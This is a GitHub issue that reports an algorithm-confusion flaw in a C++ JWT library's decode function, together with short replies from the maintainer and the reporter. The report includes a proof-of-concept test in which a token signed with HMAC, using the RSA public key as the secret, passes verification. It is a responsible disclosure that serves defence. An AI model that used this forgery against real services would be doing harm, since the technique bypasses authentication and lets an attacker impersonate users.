Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Vuln] Algorithm Confusion in jwt::decode #102

Open
P3ngu1nW opened this issue Aug 29, 2024 · 2 comments
Open

[Vuln] Algorithm Confusion in jwt::decode #102

P3ngu1nW opened this issue Aug 29, 2024 · 2 comments

Comments

@P3ngu1nW
Copy link

P3ngu1nW commented Aug 29, 2024

Hello!
This library has security issues with algorithm confusion.
If the developer allows both the HS algorithm and the RS algorithm, the attacker can use the RSA public key and encrypt the JWT using the HMAC algorithm to bypass the verification.

poc

TEST (RSAAlgo, HS256RSA256DecodingTest)
{
  using namespace jwt::params;

  const char* expected_sign =
    "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJhbGwiLCJleHAiOjE1MTM4NjIzNzEsImlzcyI6ImFydW4ubXVyYWxpZGhhcmFuIn0.F-LR5k7OodsUlepUh_jUWyalRdMaOnRxVt2rFh5pxNs";

  std::error_code ec;

  //Decode
  std::string key = read_from_file(RSA256_PUB_KEY);
  ASSERT_TRUE (key.length());

  auto dec_obj = jwt::decode(expected_sign, algorithms({"HS256", "RS256"}), ec, secret(key));
  EXPECT_FALSE (ec);
}

Likewise, if the developer allows the None algorithm, then it makes no sense to allow other algorithms.
For details, please refer to the following article: https://portswigger.net/web-security/jwt/algorithm-confusion
How to fix: Refer to https://github.com/Thalhammer/jwt-cpp and limit each key to one algorithm.
Thank you!

@arun11299
Copy link
Owner

Thanks for the bug report @P3ngu1nW . It is very detailed.
Are you able to provide a PR for this ? If you are, I can help you with the changes.

@P3ngu1nW
Copy link
Author

P3ngu1nW commented Sep 1, 2024

Sorry, I'm not very familiar with C++. TwT

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants